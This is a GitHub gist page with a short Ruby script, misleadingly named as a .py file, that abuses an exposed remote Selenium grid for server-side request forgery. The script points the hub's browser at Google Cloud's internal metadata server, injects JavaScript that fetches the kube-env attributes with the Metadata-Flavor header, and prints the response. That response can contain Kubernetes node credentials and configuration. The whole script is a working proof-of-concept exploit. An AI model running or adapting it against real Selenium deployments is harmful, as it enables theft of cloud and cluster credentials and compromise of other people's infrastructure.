Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save amalmurali47/b868ec24d4ba60927f11c17cdaabab04 to your computer and use it in GitHub Desktop.
Save amalmurali47/b868ec24d4ba60927f11c17cdaabab04 to your computer and use it in GitHub Desktop.
selenium_google_metadata_ssrf.py
require 'selenium-webdriver'
@host = "http://metadata.google.internal/computeMetadata/v1/instance/"
def setup
@driver = Selenium::WebDriver.for(
:remote,
url: 'https://SELENIUM_URL/wd/hub',
desired_capabilities: :chrome)
end
def teardown
@driver.quit
end
def run
setup
yield
teardown
end
def script
return <<-JS
const Http = new XMLHttpRequest();
const url='/computeMetadata/v1/instance/attributes/kube-env';
Http.open("GET", url);
Http.setRequestHeader('Metadata-Flavor', 'Google')
Http.send();
Http.onreadystatechange = (e) => {
document.write(Http.responseText)
};
JS
end
run do
@driver.get @host
@driver.execute_script(script)
puts @driver.page_source
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment